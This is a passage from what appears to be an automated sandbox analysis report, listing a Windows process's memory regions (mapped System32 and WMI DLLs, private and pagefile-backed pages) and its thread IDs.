	     entry_point = 0x7fefff60000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 3144
	        start_va = 0x7fffffae000
	          end_va = 0x7fffffaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffae000"
	        filename = ""

Region:
	              id = 3145
	        start_va = 0x7fffffb0000
	          end_va = 0x7fffffd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000007fffffb0000"
	        filename = ""

Region:
	              id = 3146
	        start_va = 0x7fffffd3000
	          end_va = 0x7fffffd4fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd3000"
	        filename = ""

Region:
	              id = 3147
	        start_va = 0x7fffffd5000
	          end_va = 0x7fffffd6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd5000"
	        filename = ""

Region:
	              id = 3148
	        start_va = 0x7fffffd7000
	          end_va = 0x7fffffd8fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd7000"
	        filename = ""

Region:
	              id = 3149
	        start_va = 0x7fffffd9000
	          end_va = 0x7fffffdafff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd9000"
	        filename = ""

Region:
	              id = 3150
	        start_va = 0x7fffffdb000
	          end_va = 0x7fffffdcfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdb000"
	        filename = ""

Region:
	              id = 3151
	        start_va = 0x7fffffdd000
	          end_va = 0x7fffffdefff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdd000"
	        filename = ""

Region:
	              id = 3152
	        start_va = 0x7fffffdf000
	          end_va = 0x7fffffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdf000"
	        filename = ""

Region:
	              id = 3153
	        start_va = 0x7fef5d00000
	          end_va = 0x7fef5d25fff
	     entry_point = 0x7fef5d00000
	     region_type = mapped_file
	            name = "wmiutils.dll"
	        filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll")

Region:
	              id = 3154
	        start_va = 0x7fef9200000
	          end_va = 0x7fef923bfff
	     entry_point = 0x7fef9200000
	     region_type = mapped_file
	            name = "wmiprov.dll"
	        filename = "\\Windows\\System32\\wbem\\wmiprov.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprov.dll")


Thread:
	id = 308
	os_tid = 0x948


Thread:
	id = 309
	os_tid = 0xad4


Thread:
	id = 310
	os_tid = 0x8c0


Thread:
	id = 311
	os_tid = 0x744


Thread:
	id = 312
	os_tid = 0x8f0


Thread:
	id = 313
	os_tid = 0x7c8


Thread:
	id = 314
	os_tid = 0x48c


Thread:
	id = 315
	os_tid = 0xb70


Thread:
	id = 322
	os_tid = 0x4f4